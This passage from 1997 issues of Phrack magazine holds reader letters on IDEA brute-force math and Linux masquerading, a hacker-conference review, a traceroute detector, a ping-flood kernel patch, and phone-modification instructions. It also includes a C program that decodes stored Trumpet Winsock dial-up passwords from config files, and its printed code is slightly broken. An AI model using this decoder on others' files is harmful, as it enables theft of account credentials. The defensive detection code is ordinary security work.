within my rights to credit KoV with helping to assure that those problems
are now but a memory. It really bothers me when anonymous instigators like
Mr. Sandman attempt to dishonor all the work that we did to get this far,
without even really having a clue as to what we were (and are) all about.
Perhaps he and his ilk could benefit from such groups as KoV. Because no
matter how I feel about him and his actions...

        "The more we fight among ourselves,
                the less of a threat we are to the system."

- Valgamon
  Sat Jun 07 15:49:25 EDT 1997


0x29>-------------------------------------------------------------------------

What up.

Yo, Ima hack/phreak from back in the day (1984) 

My 1st bbs was on an atari with a floppy drive and 64k!

Nowadays, I do rap music and acting, live in Los angeles (im from western NY), 
and run 900#s and adult websites.

Check this out, I need to thangs:

#1: FTP space for adult pix (not really important, since my host gives me 
unlimited space), but I have no anonymous ftp capabilities)

#2: Windows NT or unix

Can you help??

Have broom (Music software) will travel (trade)


    [ We will trade you unix for a rap song about Phrack and a movie role 
      for route. ]

0x2a>-------------------------------------------------------------------------


This is in reference to the first part of your " PGP Attack FAQ," which
addresses the length of time necessary to brute force IDEA. Perhaps I'm
overly paranoid (naw...) or just a perfectionist, but I would like to
point out two things about this:

1) Somewhat of an error in your math?
2) "As far as present technology is concerned."

"As we all know the keyspace of IDEA is 128-bits. In base 10 notation
that is:


340,282,366,920,938,463,463,374,607,431,768,211,456.

To recover a particular key, one must, on average, search half the
keyspace. That is 127 bits:


170,141,183,460,469,231,731,687,303715,884,105,728.

If you had 1,000,000,000 machines that could try 1,000,000,000 keys/sec,
it would still take all these machines longer than the universe as we
know it has existed and then some, to find the key. IDEA, as far as
present technology is concerned, is not vulnerable to brute-force
attack, pure and simple. "

                Somewhat of an error in your math
                ========================

OK, let's examine the math. For simplicity, let's say we only had one
machine that could try 1,000,000,000 keys/sec. The number of seconds it
would take for this machine to search half the keyspace, and thus find
the correct key would be
170,141,183,460,469,231,731,687,303715,884,105,728 divided by
1,000,000,000. This would yield 170,141,183,460,000,000,000,000,000,000
seconds of maximum search time before finding the key. This in turn
would be 2,835,686,391,010,000,000,000,000,000 minutes =
47,261,439,850,100,000,000,000,000 hours =
1,969,226,660,420,000,000,000,000 days = 5,395,141,535,400,000,000,000
years = approximately 5.395 sextillion years. If there are 1,000,000,000
of these machines as you suggest, then the years required for a
successful brute force crack would be 5,395,141,535,400,000,000,000 /
1,000,000,000 = 5,395,141.5354. So, it comes down to: are you saying
that these 1,000,000,000 machines are acting as a collective entity or
can *each* one of these machines operate on 1,000,000,000 keys/sec and
thus operate together at a speed of (1,000,000,000) * (1,000,000,000) =
1,000,000,000,000,000,000 keys/sec. If the first is true, then you are
correct in saying that "it would still take all these machines longer
than the universe as we know it has existed and then some," as it would
take app. 5.395 sextillion years (scientists estimnate that universal
redshift shows the universe to have existed thus far for only 15 billion
years). If the second is true, then it would take far less time than the
existence of the universe at app. 5.395 million years... which could be
compared to twice the amount of time human beings have existed on earth,
or just a fraction of the time dinosaurs were here.


    [ Hrm.  Take it up with Schneier. ]


                 "As far as present technology is concerned."
                 =============================

How far is present technology concerned?! The Intel/Sandia Teraflops
Supercomputer can reportedly perform 1.06 trillion floating point
operations per second (refer to 
http://www.intel.com/pressroom/archive/releases/cn121796.htm). Assuming

    [ Keep in mind that factoring and brute force key searches are 
    integer-based calculations, not floating point operations. ]

one of these "instructions" can operate on, let's say something around a
28th power float variable, then disregarding read/write operations, the
system can search at 1.06 trillion keys/sec. This yields a total search
time (before a successful "hit") of
170,141,183,460,469,231,731,687,303715,884,105,728 / 1.06 trillion =
160,510,550,434,000,000,000,000,000 seconds = 5,089,756,165,470,000,000
years or 5.089 quintillion years... still a rediculous amount of time
even on the fastest publicised system in existence. Now, this system,
the Intel/Sandia Teraflops Supercomputer is made up of 9,200 200 MHz
Pentium Pro processors. Being that they didn't have to buy them at
markup/retail and they manufacture them from scratch for their own
purposes, let's say it cost $500 per chip plus some negligible ram and
labor costs (how much ram do you need when you have a gig+ worth of
onboard cache, etc.). With 9,200 chips, the system would take about
$4,600,000 to build. A practical question: if federal taxation is %28 on
an annual income of $80,000, where does all the money go? Well, let's
say a Billion dollars per decade goes to the NSA to build whatever they
want.  If the 9,200 chip system cost $4,600,000 then a little algebra
reveals that with one billion dollars, the NSA could purchase
approximately 2 million 200 MHz pentium pros. If the 9200 chip system
did 1.06 trillion keys/sec, thus the 2 million chip system would be
capable of approximately 230,434,782,609,000 keys/sec or app. 230
trllion keys/sec. Now, say the NSA is smart enough not to buy crappy x86
chips and instead get 500 MHz DEC Alpha RISC chips. This is 300 Mhz or 3
fifths faster than a 200 MHz pentium pro approximately. so 230 trillion
+ (230 trillion * 3/5) = 368,695,652,174,000 or 368 trillion keys/sec.
The original calculation yields that the successful search time would be
170,141,183,460,469,231,731,687,303715,884,105,728 / 368,695,652,174,000
= 461,467,832,499,000,000,000,000 seconds = 14,633,048,975,700,000. Ok,
great... so now we're down to 14.6 quadrillion years of search time,
which means that at least now we may get REALLY lucky and hit the right
key within a certain degree of insanity. But, this was only a billion
dollars we gave the NSA in a decade. If we're especially paranoid, let's
say the government was so concerned over nuclear terrorists sending
encrypted messages, that the NSA got a TRILLION dollars to build a
system. That divides the whole equation by a thousand making the search
time 14,633,048,975,700 years or 14.6 trillion years... STILL
rediculous. Ok, so let's say that now we're giving the NSA a HUNDRED
TRILLION DOLLARS thus dividing the search time by 100 yielding
146,330,489,757 years which is about ten times longer than the existence
of the universe. But now, if we had 1,000,000,000 of *these* machines
working concurrently the search time would wind up being 146.330489757
years. But, if each RISC processor were replaced with a small piece of
nanotechnology, each piece of this nanotech being 100 times faster than
the alpha chips, you get 1.46330489757 year. There ya have it... some
classified nanotechnology, 100 trillion dollars, and a DAMN lot of
landmass all multiplied by 1,000,000,000 and you've brute forced IDEA in
a year and a half. I won't go into the tedious calculations, but an
object with the surface area of two of our moons would approximately be
able to house this complex. Now, as I know you're asking about where to
store all the keys... and the fact that this drive would be bigger than
a solar system and so on, just have the keys generated using the same
PRNG in the brute force attack... you'll just have three times the
instructions (write for the generation, read to get it, write to compare
it) so multiply the search time by three. The technology is possible...
it's economics and territory that doesn't work.

    [ Theorectially shure.  But you have sorta just proved the point that
    it is not feasible. ]

--gKHAN


0x2b>-------------------------------------------------------------------------


The snippit in P50 in section 02 of the zine by Xarthon entitled
   
> Yet another Lin(s)ux bug!  "IP_MASQ fails to check to make sure that a
> packet is in the non routable range." "So in conclusion, you are able to
> spoof as if you are on the inside network, from the outside. "

Is so incomplete I would almost call it a lie. The only way that Linux
would do this is if the person setting up the IP-Masq system issued the
command "ipfwadm -F -p masquerade" which if you read the IP-Masq HOWTO it
tells you explicity NOT to do for this very reason. My retort for Xarthon
and all others who do stupid ass things like leave port 19 open and such;
is that Linux only sux if you do. To wit, don't be a moron, and you won't
have to complain that it sucks.

Swift Griggs 	      | UNIX Systems Admin


0x2c>-------------------------------------------------------------------------


Hi there, 

I have a question regarding a certain piece of hardware that has come
into my possession. Since this little piece of equipment contains no
indications of its intended use i have no idea what this thing could do.
So here's a descrition of the little box; i hope you might be able to
provide me with more information on what this device is supposed to do.

Description:
-lightgrey rectangular casing (13CMx9CMx3CM)
-frontpanel has one green LED, a connector labeled "SCANNER", and a
little door which reveals two sets of dipswitches (2 sets of 8, labeled
"DIPSW1" and "DIPSW2")
-backpanel has three connectors, a RJ4-like connector (only it has 6
lines instead of 4; it looks like a connector for a Memorex Terminal)
labeled "A", a standard IBM-PC keyboard connector labeled "B", and a
small (9-pin) serial interface-connector labeled "C".
-there is a sticker with a serial number, a barcode, and "Made in
Taiwan" on the bottom
-the circuit-board contains IC's of Sony, Philips, and TExas Instruments
-there is also one removable EPROM, made by AMD; it has a label on it
which reads "V2.61 CS:EF88"


I have found that a normal keyboard plugged into connector B, while a
KBD-to-RJ-jack cord is plugged into connector A will allow the box to be
placed between the keyboard and the kbd-port; so my first guess would be
that this is some kind of filtering device. But that doesn't explain why
there is a serial-connector and this "SCANNER" connector present.

So, do you know what this thing is ?

-lucipher.

    [ Readers? ]

0x2d>-------------------------------------------------------------------------


  hi, my friends.i am a newbie come from China,i had read some Phrack magazine.
but to me surprise,i had not success compile a program still now.i send e-mail
to the author,but server tell me there is no this user.
  for example, phrack-49-15 describle tcp port scan,but i  can not find
ip_tcp.h, other paper tell me a way to guess password,and said the program only
need Ansi complier,but i can not success too. oh.my god.
  i use sun os ,gcc, i need your help, thanks.
                                   yours 
                                        keven zhong

    [ Here at Phrack, we use TheDraw for ANSI compilers.  I hope that
      answers your question. ]

0x2e>-------------------------------------------------------------------------


I'm just writing this to say thanks to all the hackers that represent Phrack
and work hard to keep it going,you guys are truly keeping the new generation
alive.If it weren't for Phrack i'd probably never have wanted to waste my time
with computer's,the technical info is first class and a lot better than most
of the crap out there.I would suggest that maybe once in a while u guys could
write some more stuff geared towards the newbies,it really is important
because most people who aren't familiar with the terms get completely
lost.Down here in Montreal(514),most people think hacking is spreading virri
or u/l shitty trojans,there's no talk about unix or networks.We really need
some help down here,the scene is practically dead and most newbies don't have
any support to help them get started.Anywyas i just want to say keep up the
good work,and it's really appreciated.
--
| Return Address:      Dave.Conway@claw.mn.pubnix.net
| Standard disclaimer: The views of this user are strictly his/her own.

    [ Thanks, if anyone cool is in Montreal, e-mail this guy and revive
      your scene. ]


----[  EOF


--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 03 of 17


-------------------------[  P H R A C K     5 1     L I N E N O I S E


--------[  Various

0x1>-------------------------------------------------------------------------
 
                                A Review of H.I.P.

                          <torquie@landslide.openix.com>


Out of all of the cons I've been to (and I've been to loads), Hacking In
Progress was definitely the coolest and the most surreal hacker con ever.
This was definitely a European event though there were a few arrivals from the
US.  The atmosphere was carnival.  It was like an old style con where you got
together to meet up with people face to face, exchange ideas and basically
have loads of fun.

Around 2500 people attended: hackers, artists, media, police... a total mish -
mash of cultures and ideas.

HIP was a total geek-fest.  Computer networks were spread across the campsite.
In the mornings (when I actually slept) I awoke to the chirping of birds and
the booting up of windows95.  In the evenings I sat around the campfire
chatting to mates while the hardcore's played DOOM and exchanged warez.

During the day there were various activities.  One tent held lock-picking
classes.  In another a group of astronomers had set up telescopes linked to
computerized data-tracking equipment that you could print out.  The
cypherpunks had their own tent set up and I snuck in occasionally for a chat
and a cold drink.

There was a videoconference link connected to HOPE but it crashed and was
abandoned.  In the main marquee, there were lectures on the usual faire of
hacker interests: computer security, the legalities of hacking, anonymous
re-mailing, cryptography, etc.  The weather was boiling and my melted brain
found it exceedingly difficult to concentrate.  Most of my time I spent
outside in the shade or the tent housing the bar, talking to people
individually or in small groups.

The public telephones mysteriously malfunctioned on Sunday and could only be
used to dial the emergency services.  However if you dialed the Dutch
equivalent to 911 you got a dial tone, so you could dial anywhere in the world
for free.  Supposedly this was a 'programming error' on the part of the Dutch
Telephone Company.

Smaller more interactive workshops were also held.  Though the technical
lectures were really interesting, my favourite event was Padeluun's yo-yo
workshop.  Besides the fact that I got to keep the yo-yo, the workshop itself
was farcical performance art.  If you know the background you will understand
what I mean, if not...  Padeluun is a member of the FOEBUD group from Germany.
These people do some really brilliant projects and are very politically
motivated.   One of their projects was to put up networks during the war in
the former Yugoslavia.  They also work to distribute PGP to groups in
countries with oppressive governments.  It is not just anyone who could pull
off a workshop like this.  This was high irony.  When I walked up the workshop
had already started and I came in on the line 'yo-yoing is good for social
engineering, no one finds you a threat when you yo-yo'.  As the head of the
Dutch Computer Crimes division was in attendance I thought this rather
hilarious.

The attitude at HIP was really positive.  The European definition of hacking
has always been broader than the American definition.  Europeans accept the
idea of 'social hacking'.  Not hacking in the Unix sense but in the sense of
subverting technology, whether it be by pirate radio, hacking smartcards,
social engineering the feds... or whatever.  Unlike some cons I've been to in
the past couple of years, the atmosphere of HIP was really mature.  There
weren't any young kids trashing anything, there weren't any stairwells to
flood, no one set off any fire alarms or randomly destroyed anything through
boredom, and generally the people who attended had a lot of respect for the
event and the organisers.  Which means that no one I saw acted like a total
wanker and no one is going to run the event out of town.

On a personal note it was brilliant meeting people there and hearing of some of
the most recent projects people had on the go.  Since the last time this event
was held  (HEU, 'Hacking at the End of the Universe' held at the same spot in
1993), the hacker scene has changed.

One difference that struck me straight away was the fact that there were just
as many females as males.  And these women weren't girlfriends or hacker ho's
but women that are getting to grips with the technology and using it for
various projects.

Felipe Rodrigez who started Hack-tic along with Rop Gonggrip back in the early
days of Holland's hacking scene, has always been active on the political front
"For us, things have changed.  They used to call us criminals and think of us
as terrorists.  Now we advise the Ministry of Justice.  We're the only ones
who know the technology here."

Rodrigez also believes that hacking is still a very useful tool in countries
like Peru or Serbia where the state is unfair and citizens need to "defend
themselves."  This view has made him unpopular with the secret services who
consider the former Hack-tic more dangerous now that they have power in the
business community in Holland.

Though things may have changed since the early days of hacking, the European
scene seems to have become something more grown up.  "The hacker scene is now
pockets of culture.  There's alternative media, the old hacker culture, the
Unix hackers, irc, even astronomers who are into their own computer culture.
It's now for all of the people, which is why we call it Hacking in Progress,
we have progressed"

As a summation, HIP was fantastic.  It was brilliant to see most of the people
I have known in the European scene in one place and to meet some new people
who I will definitely keep in touch with the coming years.  I'm really looking
forward to the next one!  If you want photos and other articles check out the
HIP site at www.hip97.nl.


0x2>-------------------------------------------------------------------------

To: All it may concern

	It has come to my attention, that people are forgetting what 
hacking is.  I'm not speaking about the freedom of information, or the 
pursuit of learning..  I'm talking about the fact that it is illegal and 
against the law..  I hear left and right..  " So and So has been busted.. 
lets protest..  Let's get the Hacker Defense Fund(TM) to help us! "

Hey time to wake up..  YOU ARE A CRIMINAL IF YOU ARE COMPROMISING THE SECURITY 
OF SITES/PHONE SYSTEMS/ETC..

Not a rant, just a note that it's time to face up to your responsibilities.. 

- Someone

0x3>-------------------------------------------------------------------------
    
/*
   TRUMPET WINSOCK PASSWORD HACKER by DOCTOR JEEP 11/96

       erode@avana.bbs.comune.roma.it

   written for Turbo C 2.0 (C) (old but cheap :) )

   The author doesn't take any responsabilities for any proper/improper use of
   this program.
*/

<++> winsock_passwd_hack.c
#include <stdio.h>
  unsigned char
spazio[21]={88,75,55,47,114,66,87,92,35,68,69,87,101,38,122,123,45,117,74,78};
  unsigned char name[34], fono[33], passc[33],riga[33],passd[23];
  unsigned char user[11]="$username=", tele[9]="$number=",
pass[11]="$password=";

  FILE *f1;
  int i,v,c,k;

decodi (int ver) {
  int ls,b;
  if (ver==20) ls=10;
  if (ver==21) ls=11;
  b=strlen(passc);
  for (i=ls;i<b;i++) {
      v = passc[i];
      v = v + 32 - spazio[i-ls];
      if (v < 32) v = v + 96;
      if (i-10<21) passd[i-ls] = v;
  }
}

scrivi(int n, int st, unsigned char str[], char messaggi[])
  {
  c=strlen(str);
  printf("%s",msg);
  for(k=n;k<c-st;k++) {
     printf("%c",str[k]);
  }
  printf("\n");

}

main (argc,argv)
  int argc;
  char *argv[];
  {
  printf("\n\nTrumpet Password Hacker by Doctor Jeep 96  NO (C)\n\n");
  if(argc!=2) {
    printf ("Specify the trumpet .ini file with his path \n");
    exit(1);
  }

  f1=fopen(argv[1],"r");
  if (f1==NULL) {
      printf("\nUnable to open configuration file");
      exit(1);
  }

  printf("\n");
  while(!feof(f1))
  {
      fgets(riga,32,f1);
      if (strspn(riga,pass)==10) strcpy(passc,riga);
      if (strspn(riga,user)==10) strcpy(name,riga);
      if (strspn(riga,tele)==8) strcpy(fono,riga);
  }
  fclose(f1);



  scrivi (8,1,fono,"Server's Tel. #: ");
  scrivi (10,1,name,"Username: ");
  decodi (20);
  scrivi (0,1,passd,"Trumpet 2.0 password: ");
  decodi (21);
  scrivi(0,3,passd,"Trumpet 2.1F password: ");
}
<-->

/* END OF FILE by Doctor Jeep */


0x4>-------------------------------------------------------------------------


Tools for (paranoid ?) linux users 

by whynot AKA baldor

-> you need basic TCP/IP knowledge to understand this article <-

Recently not only then number of attacks on big / commercial servers and
machines with fast connections has increased, but even users with dial-in
computers have been attacked or spied on.  A good example is the winnuke.c
program that has been released on BugTraq and has been used excessively.
Although these attacks are not as "threatening" as the attacks that are
launched against big servers it can get really annoying if some idiot
frequently tries to hack you / takes your machine down / delays you.

Most Linux distributions have reacted to this development and made their
telnet/ftp/whatever servers log every access. In this way you can easily put 
annoying hosts into /etc/hosts.deny. But in my opinion there are (at least) 
two things missing which I want to discuss in detail...

1. Detecting traceroutes

Traceroute is a really powerful command, which is often used to detect where 
the computer that is being tracerouted is located and to which network it is
connected.  Because of some simple reasons you can *not* simply make it 
impossible for people to traceroute you, so the best you can do is detect *if* 
someone traceroutes you, find out *who* tracerouted you and confuse him a bit.

1.1 How does traceroute work ?

Basically traceroute just sends out IP/UDP probe-packets to the specified host.
To find out how the packet is routed (through which hosts it is going) 
traceroute uses the TTL (time to live) field of the IP header. This TTL field
specifies an upper limit of how many routers this packet can pass through 
before it gets dropped.  Every router decreases the value of the field when 
the packet in question arrives, until it becomes 0.  If this happens the
router sends back an ICMP TIME_EXCEED to the sender of this packet (which is 
the host that is tracerouting).

So the strategy traceroute uses to trace the path of a packet is to send
out packets to the target host putting an increasing value (starting with 1) 
into the TTL field.  If a host reports ICMP TIME_EXCEED traceroute prints out 
its address and the time that passed from the sending of the IP/UDP probe 
packet until the receiving of the ICMP TIME_EXCEED.  After that it will 
prepare a new probe packet with an IP TTL one greater then the previous packet.

Traceroute will continue doing this until it receives an ICMP PORT_UNREACHABLE 
packet from the target address, or the max hop count has been reached (defaults
to 30).

To understand this we should take a look at the UDP part of the packet we
talked about above.  To detect somehow that it finally reached the target host 
and should not try to go any further traceroute uses the connectionless UDP 
protocol.  The UDP part of the probe-packet is addressed to a port which is 
barley/never used (in nearly all Unix implementations 33434+ the TTL included 
in the IP-Packet).  Since (normally) nothing is listening on port 33434 (and 
above) the target host sends back an ICMP PORT_UNREACHABLE signal that tells 
traceroute that it reached the target host and can stop sending any more 
packets.

Since the strategy of traceroute is a bit complex here is an (a bit simplified) 
example. Let's say that you are host "source" and tracerouting your way to 
host "target".

    source:/root # traceroute target
    traceroute to target (134.2.110.94), 30 hops max, 40 byte packets

Now source sends out a probe packet to target (port 33434) with a TTL of
1.  The packet is passing "some_host" and the router decreases the TTL of
the packet.  It recognizes that the packet has "expired" (TTL=0) and sends
back an ICMP TIME_EXCEED to source.  Now traceroute uses the information
included in this packet to print out data about the first host the packets
to target are passing:
    
    1  some_host (142.45.23.1) 2.456 ms

Another probe packet is sent out by source, this time the TTL is 2 and the
port is 33434+1 = 33435.  It gets back another ICMP TIME_EXCEED packet
this time from another_host:

    2  another_host (142.45.10.1)  3.983 ms 
 
The third Probe has the TTL set to 3 and is addressed to port 33436. 
Traceroute now gets back an ICMP PORT_UNREACHABLE from "target": 

    3  target (142.45.10.13) 4.032 ms
 
That's it ! Traceroute now finished its job and quits.

    source:/root #
    
Please note that traceroute by default sends out three packets containing
the same TTL (each packet to an increasing port number)  to determine the
answering time of a host more accurately.  In reality, a traceroute output
therefore looks like this:

  traceroute to localhost (127.0.0.1), 30 hops max, 40 byte packets
   1  localhost (127.0.0.1)  1.983 ms  1.304 ms  0.934 ms
 

1.2 The strategy behind the traceroute-detector

Knowing how traceroute works it is very easy to detect.  Simply set up
sockets listen()ing to the ports 33434 and above and react if they receive
any packets.  You can even try to guess how many hops the host that is
tracerouting you is away by subtracting 33434 from the port-number you
received the packet on and dividing the result by three.

Listening to the port traceroute sends the probe-packet to also produces a
funny effect: traceroute will neither get back an ICMP TIME_EXCEED nor
an ICMP PORT_UNREACHABLE signal.  Therefore it will timeout waiting for the
reply and put a * into your hosts entry.  Because of the timeout
traceroute will *not* recognize that it already reached its target and
continue sending probe-packets until the maximum number of hops is
reached.

With the little program detecttr running (and listening to ports 33434 -
33434*30*3) a traceroute localhost looks like this: 

   schnecke:/root # traceroute localhost
   traceroute to localhost (127.0.0.1), 30 hops max, 40 byte packets
     1  * * *
     2  * * *
     .
     .
     .
     30 * * *
   


1.3 Problems detecting traceroutes

The only problem with detecting traceroutes is that one might select
another base-port number than the default or use another technique. 
I have never seen any people doing this though.  So if just an average 
idiot (or wannabe "hAx0r") is tracerouting you chances are really high 
that you detect it.

If you are *really* paranoid about traceroutes you should not use the
ports to detect a trace but edit the file that deals with UDP packets.
This /usr/src/linux/net/ipv4/udp.c

(NOTE: this file is a part of the kernel. Recompile your kernel to make
changes take effect) 

Insert the line:

printk(KERN_INFO "UDP: packet sent to unreachable port by %s !\n", 
                                                  in_ntoa(daddr));

before line 833: 

ICMP_send(ski,ICMP_BEST_UNTEACH, ICMP_PORT_UNTEACH, 0, de);

This will make the system log *all* requests to unreachable ports that are
delivered through the UDP protocol.  Please note that the funny effect
described in 1.2 will not occur (which can also be an advantage).

BTW: Please be careful while editing the kernel - you need it :)

1.4 Sample Implementation

detecttr.c -> see the end of this file


2. Detecting pings

There has been a lot of discussion about ping in the last few months
because it was often used to transmit oversized packets to other hosts
resulting in crashes.  Although this bug has been fixed on most hosts
already ping still is very popular to slow down people who are connected
to the net through modem lines until they drop carrier themselves because
of the BIG lag.

You can *not* prevent people from pinging you (without having your ISP
blocking all ICMP_ECHO requests to your host) and therefore causing
traffic on your modem line.  But you can actually detect *who* pinged you,
determine the ping-packet size and decide not to reply (this *may* reduce
the data over your modem line up to factor 2).

2.1 How does ping work and how do people slow down others by using ping ? 

Simplified ping sends a packet containing an ICMP_ECHO and some data to the 
target which will reply with an ICMP_ECHOREPLY packet that contains the data 
sent to it (only some fields are modified).

Normally ping will wait about 1 sec before it sends the next ICMP_ECHO.  On 
many implementations of ping you can bypass this and do a "floodping" which 
will *not* wait but just send the packets as fast as possible.  If you choose 
a big packet size for the ping packet and you are pinging your victim from a 
host with a fast connection (T1 or Ethernet) this will cause a lot of traffic 
on your victims modem line and therefore slow him down to a halt. 

2.2 How can I detect a ping and how do I prevent being flooded ?

Since a ping is nothing more than a ICMP_ECHO with some data appended to it 
you can simply intercept it, extract the senders address and the packet size 
from it and decide whether you want to reply or not.  For non-floodpings you 
can reduce the amount of data transferred over your modem line simply by 
choosing not to reply.  But if someone is floodpinging you it does not help 
much to not reply to the ping packets --> the incoming ping packets will 
probably cause enough traffic to slow you down (unless the host where 
floodpings come from is has a slow connection).  At least you can give it a 
try anyway... 

2.3 Sample implementation

The handling of the ICMP_ECHO is done in the kernel. Edit your 
/usr/src/linux/net/ipv4/icmp.c file and search for the section "Handle
ICMP_ECHO".  These 16 lines of code are all you need to modify to defend 
yourself against / detect ping-floods. 

If you know a little C you can easily see that there exists a define
"CONFIG_IP_IGNORE_ECHO_REQUESTS" which you can set to have the kernel just
ignore all incoming ICMP ECHO_REQUESTs. But we want to be more selective.  We 
want to log all pings that are sent to our machine. We do this by inserting 
the line

printk(KERN_INFO "ICMP: pinged by %s, packetsize = %d \n",in_ntoa(saddr),
                                                    icmp_param.data_len);

before the #endif.

You can easily change the "Handle ICMP_ECHO" section so that your machine
only replies to ICMP ECHO_REQUESTs that do not carry too much data and
ignore the pings with big packet sizes: 

<++> DTR/icmp.patch
static void icmp_echo(struct icmphdr *icmph, struct sk_buff *skb, struct device *dev, __u32 saddr, __u32 daddr, int len)
{
#ifndef CONFIG_IP_IGNORE_ECHO_REQUESTS
	struct icmp_bxm icmp_param;
	if (len <= 1000) { /* we only reply to pings that do carry less than 1k data */
		  icmp_param.icmph=*icmph;
		  icmp_param.icmph.type=ICMP_ECHOREPLY;
		  icmp_param.data_ptr=(icmph+1);
		  icmp_param.data_len=len;
		  if (ip_options_echo(&icmp_param.replyopts, NULL, daddr, saddr, skb)==0)
		      icmp_build_xmit(&icmp_param, daddr, saddr, skb->ip_hdr->tos);
		  printk(KERN_INFO "ICMP: pinged by %s, packetsize = %d \n", in_ntoa(saddr),icmp_param.data_len);
	  }
	else 
		printk(KERN_INFO "ICMP: possible FLOOD DETECTED by %s, packetsize = %d \n", in_ntoa(saddr),len );
#endif
	kfree_skb(skb, FREE_READ);
}
<-->

<++> DTR/detecttr.c 
/*
 * detecttr.c - by whynot AKA baldor (whynot@cyberjunkie.com)
 * created: 08.05.97
 * last modified: 11.07.97
 * Platforms: Linux, FreeBSD should work with other POSIX-systems too.
 *
 * Compile:
 * just the usual "gcc -o detecttr detecttr.c" for GNU C and 
 * "cc -o detecttr detecttr.c" for other compilers...
 * 
 * Usage:
 * Just run this program at the startup of your machine - it will stay in
 * the background until someone traceroutes you. It only uses a *tiny* bit
 * of your memory and nearly 0% CPU :)
 * 
 */


#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/signal.h>
#include <sys/syslog.h> /* simply comment this out if you don't have syslog.h */
#include <netdb.h>


#define MAXBUFLEN 200
#define MYPORT 33435
#define NUMPORTS 30*3

int sockfd[NUMPORTS];


void shutitdown()
{

	int w;
	char buf[50];
        for (w=0; w<NUMPORTS; w++)
	    close(sockfd);
        sprintf (buf,"DetectTraceroute terminated\n");
	syslog(LOG_NOTICE , buf);
	
	exit(0);
}

char *getname (struct in_addr addr)
{
	struct hostent *h;
	int w;
	char foo[4];   /* the 4 numbers as ASCII-Values per char */
	int tmpint[4]; /* used to convert from a string to 4 numbers */
	char tmpbuf[20];
	
	sprintf(tmpbuf, "%s", inet_ntoa(addr));

	if ( sscanf(tmpbuf,"%d.%d.%d.%d", &tmpint[0], &tmpint[1], &tmpint[2], &tmpint[3])  != 4) {
		printf ("Error while detecting hostname !\n");
		exit(1);
	}

	for(w=0; w<4; w++) foo[w]=tmpint[w];
	
	if ( (h=gethostbyaddr(foo, 4, AF_INET)) == NULL) {
		herror("gethostbyaddr");
		exit(1);
		
	}
	return  h->h_name;
}

main(int argc, char *argv[])
{
	int hops;
	struct sockaddr_in my_addr;
	struct sockaddr_in remote_addr;
	int addr_len, numbytes;
	char buf[MAXBUFLEN];
	int w;
	fd_set readfds;
	

	if( fork() !=0 ) return(0); /* we don't want to use that annonying & */
	
	
	signal(SIGHUP, SIG_IGN); /* ignore SIGHUP */
	
	signal(SIGTERM, shutitdown); /* clean shutdown */
	
	for(w=0; w<NUMPORTS; w++) {
		
		if ( (sockfd[w] = socket( AF_INET, SOCK_DGRAM, 0)) == -1) {
			perror("socket");
			exit(1);
			
		}
		my_addr.sin_family = AF_INET;
		my_addr.sin_port   = htons (MYPORT+w);
		my_addr.sin_addr.s_addr = htonl(INADDR_ANY);
	
		bzero(& (my_addr.sin_zero), 8);
   
		if ( bind (sockfd[w], (struct sockaddr *)&my_addr, sizeof (struct sockaddr) ) == -1) {
			perror("bind");
			exit(1);
		}
	}

	FD_ZERO(&readfds);
	for(w=0; w<NUMPORTS; w++)
	    FD_SET(sockfd[w], &readfds);

	
        sprintf (buf,"DetectTraceroute successfully started\n");
	syslog(LOG_NOTICE , buf);

	while(1) {
		select(sockfd[NUMPORTS-1]+1, &readfds, NULL, NULL, NULL);
		
		for (w=0; w < NUMPORTS; w++) {
			if (FD_ISSET(sockfd[w], &readfds))
			    hops = w;
		}
		
		addr_len = sizeof(struct sockaddr);
		
		if ((numbytes=recvfrom(sockfd[hops], buf, MAXBUFLEN, 0, (struct sockaddr *)&remote_addr, &addr_len)) == -1) {
			perror("recvfrom");
			exit(1);
		}
		
		/* we use buf for misc stuff  O:-) */
		sprintf (buf,"TRACEROUTE from IP %s. Hostname: %s  HOPS: %d", inet_ntoa(remote_addr.sin_addr), getname(remote_addr.sin_addr), hops / 3 +1);
		syslog(LOG_NOTICE , buf);
		FD_ZERO(&readfds);                   
		for(w=0; w<NUMPORTS; w++)
		    FD_SET(sockfd[w], &readfds);
		
	}
}
<-->

0x5>-------------------------------------------------------------------------

      |  |||| |||||[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]
|       | | ||| |||[ The Street Phreak's Phone Mods vol. 1 ]
    | |  ||||||||||[               Jex {612}               ]
      | | |||| || |[      <jex@teenworld.poboxes.com>      ]
  |    ||  | ||||||[_______________________________________]

[intr0]

97.07.01

  This project is a result of a need to have a more versatile phone for at 
home and in the field.  Many "phone modification" files have been floating 
around the scene for quite some time - some are incomplete, inaccurate, or 
would be better taken advantage of if they were all integrated.  This project 
should be a good starting point for making your phone elite.

  The following modifications are divided into two primary parts:  The first
being made to your phone directly, and the second being as a separate
component.

[part 1: m0d me]

Teq:
----
2  1/8" mono jack (or stereo with tips tied)  274-274    2/$1.89  U1, U2
2  SPDT slide switch                          275-409    2/$1.19  SW1, SW3
1  100k single turn pot                       271-092      $1.29  R2
1  Mini red LED                               276-026    2/$0.99  D1
1  Hallmark Digital Greeting Card (optional)  (Hallmark) 1/$8-10  IC1
1  6v power source                (optional)
1  SPST normally closed momentary (optional)  275-1548   4/$2.89  SW2
1  10k                            (optional)  271-1335   5/$0.49  R1


  Since I'm cool, I'll give you a rough walk-through on the construction along
with the schematic.  The phone modifications were kept to a minimum, since you
most likely want the majority of your cute toys in the modular component.  I
would like to make these devices modular as well at some point in the future 
- if anybody would like to beat me to it, by all means.


--[ring switch]----------------------------------------------------------------

1. Desolder wire off one pad of the piezo element (ringer)
2. Connect desoldered *pad* to right pole of SPDT
3. Connect desoldered *wire* to center pole of SPDT
4. Connect LED to left pole of SPDT
5. Connect other side of LED to the pad of piezo element with the origional
   wire

(Note: You should now be able to select between an audible ring and the
       flashing light.  If the LED does not light but the ringer works, switch
       the wires going to the LED as the anode/cathode are not in the right
       positions.)


--[in jack]--------------------------------------------------------------------

6. Desolder wire (-v, probably black) off one pad of the microphone
7. Connect desoldered *wire* to center pole of SPDT
8. Connect recently desoldered *pad* to right pole of SPDT
9. Connect tip (or base) of U1 to left pole of SPDT
10. Connect base (or tip) of U1 to the center pole of R2
11. Connect side pole of R2 to the pad of the mic with the original wire

(Note: You should now have the ability to switch between the audio jack and 
